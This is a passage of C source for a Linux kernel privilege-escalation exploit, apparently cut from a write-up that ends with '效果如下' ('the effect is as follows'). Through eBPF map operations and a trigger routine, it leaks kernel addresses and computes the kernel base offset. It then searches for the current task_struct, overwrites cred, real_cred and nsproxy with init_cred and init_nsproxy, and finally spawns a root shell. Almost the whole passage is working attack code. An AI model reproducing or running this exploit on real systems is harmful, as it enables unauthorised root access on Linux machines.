}
void pwn() {
uint64_t buf[0x2000/8] = { 0 };
memset(trigger_buf, 'A', sizeof(trigger_buf));
trigger_buf[8] = '\xc0';
value2[0] = 0xdead;
bpf_map_update_elem(map_fd1, &key, value1, BPF_ANY);
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
for (int i = 0; i < 15; i++) {
value2[0] = 0xdead;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
trigger_buf[8+1] = i*0x10;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
uint64_t data = *(uint64_t*)buf;
if (map_addr == -1 && (data&0xffff000000000fff) == 0xffff0000000000c0)
map_addr = data - 0xc0;
printf("[---dump----] %-016llx\n", data);
}
if (map_addr == -1)
err_exit("FAILED to leak map_addr");
hexx("map_addr", map_addr);
value2[0] = 0xdead;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
trigger_buf[8] = '\x00';
trigger_buf[8+1] = (char)((map_addr >> 8)&0xff);
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
binary_dump("LEAK DATA", buf, 0x20);
koffset = *(uint64_t*)buf - array_map_ops;
init_cred += koffset;
init_task += koffset;
init_nsproxy += koffset;
hexx("koffset", koffset);
puts("======= searching current task_struct =======");
current_task = init_task;
for (;;) {
value2[0] = 0xbeef;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0x8c0;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
current_task = buf[0] - 0x8b8;
value2[0] = 0xbeef;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xb98;
trigger();
memset(buf, 0, sizeof(buf));
bpf_map_lookup_elem(map_fd2, &key, buf);
if (buf[0] == tag) {
hexx("Hit current_task", current_task);
break;
}
hexx("current_task", current_task);
}
puts("======= replace cred/real_cred wiht init_cred =======");
value2[0] = 0xdeef;
value2[1] = init_cred;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xb88;
trigger();
value2[1] = init_cred;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xb80;
trigger();
value2[1] = init_nsproxy;
bpf_map_update_elem(map_fd2, &key, value2, BPF_ANY);
*(uint64_t*)(trigger_buf+8) = current_task+0xbf0;
trigger();
}
int main(int argc, char** argv, char** envp)
{
init();
prep();
pwn();
get_root_shell();
puts("EXP NERVER END!");
return 0;
}
效果如下: